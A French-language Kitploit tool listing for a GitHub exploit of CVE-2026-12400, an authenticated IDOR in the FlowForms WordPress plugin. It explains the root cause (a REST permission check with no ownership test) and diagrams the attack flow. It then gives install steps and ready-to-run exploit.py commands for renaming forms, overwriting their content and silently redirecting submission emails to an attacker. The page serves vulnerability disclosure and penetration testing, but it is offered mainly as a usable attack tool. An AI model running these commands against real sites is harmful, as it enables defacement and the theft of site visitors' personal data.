Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et Éducation
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

Exploit IDOR WordPress authentifié pour CVE-2026-12400 ; énumère les identifiants de formulaire REST FlowForms et modifie le contenu du formulaire ou détourne les notifications par e-mail.

Voir le dépôt
112il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-12400 — FlowForms IDOR : Modification de formulaire non autorisée

Référence directe d'objet non sécurisée (IDOR) authentifiée (Contributeur+) permettant la modification arbitraire de formulaire dans FlowForms ≤ 1.1.1

Aperçu de la vulnérabilité

PropriétéValeur
CVE IDCVE-2026-12400
Score CVSS4.3 — Moyen
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Contournement d'autorisation via clé contrôlée par l'utilisateur)
ProduitFlowForms — Plugin de constructeur de formulaires conversationnels WordPress
Versions affectéesToutes les versions jusqu'à 1.1.1 inclus
Corrigé dansCorrigé dans 1.1.2
ChercheurPhantom Hat

Analyse technique

Étude de cas white-box complète avec analyse du code source, traçage du flux d'entrée et comparaison des correctifs :

📄 Étude de cas CVE-2026-12400 — Medium

Surface d'attaque

FlowForms expose deux points de terminaison d'API REST sous l'espace de noms flowforms/v1 qui sont vulnérables :

POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Les deux acceptent un {id} contrôlé par l'utilisateur dans le chemin d'URL et modifient les données du formulaire cible — nom, contenu, mise en page, URL de redirection et destinataires des notifications par e-mail.

Cause première

Les deux enregistrements de route vulnérables partagent le même permission_callback défectueux :

// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts est une capacité détenue par les Contributeurs. Le paramètre {id} n'est jamais vérifié par rapport à la propriété de l'utilisateur demandeur — tout utilisateur authentifié peut cibler n'importe quel ID de formulaire sur le site.

Flux d'attaque

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

Trois vecteurs d'attaque

ModeEndpointImpact
name/forms/{id}Renommer n'importe quel formulaire — défiguration, ingénierie sociale
content/forms/{id}Écraser la mise en page, les écrans de bienvenue/remerciement, l'URL de redirection
email/forms/{id}/settingsDétourner l'e-mail de notification — recevoir silencieusement toutes les soumissions de formulaire

Le mode email est le plus critique. Après le détournement, chaque soumission au formulaire de contact de la victime — y compris les données personnelles des visiteurs, les messages et les coordonnées — est silencieusement transmise à l'adresse contrôlée par l'attaquant. L'administrateur du site ne voit aucune indication du changement.


Utilisation de l'exploit

Prérequis

  • Python 3.8+
  • Un compte authentifié avec au moins le rôle Contributeur sur le site cible

Installation

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modes de fonctionnement

Modification du nom

Renommer n'importe quel formulaire avec un contenu contrôlé par l'attaquant :

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Modification du contenu

Écraser la mise en page du formulaire, les écrans, l'URL de redirection et les images d'arrière-plan :

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

Détournement des notifications par e-mail (Impact maximal)

Rediriger toutes les futures notifications de soumission de formulaire vers une adresse contrôlée par l'attaquant :

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Avec un proxy (Burp Suite)

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Référence complète des options

OptionAbrév.DescriptionRequis
--url-uURL WordPress cible✅
--userNom d'utilisateur WordPress (Contributeur+)✅
--passwordMot de passe WordPress✅
--id-start-iID de formulaire de départ pour l'énumération✅
--num-forms-nNombre d'IDs de formulaire à énumérer✅
--exploitMode d'attaque : name / content / email✅
--proxy-pURL du proxy (ex. http://127.0.0.1:8080)❌

Personnalisation des charges utiles

Télécharger l’outil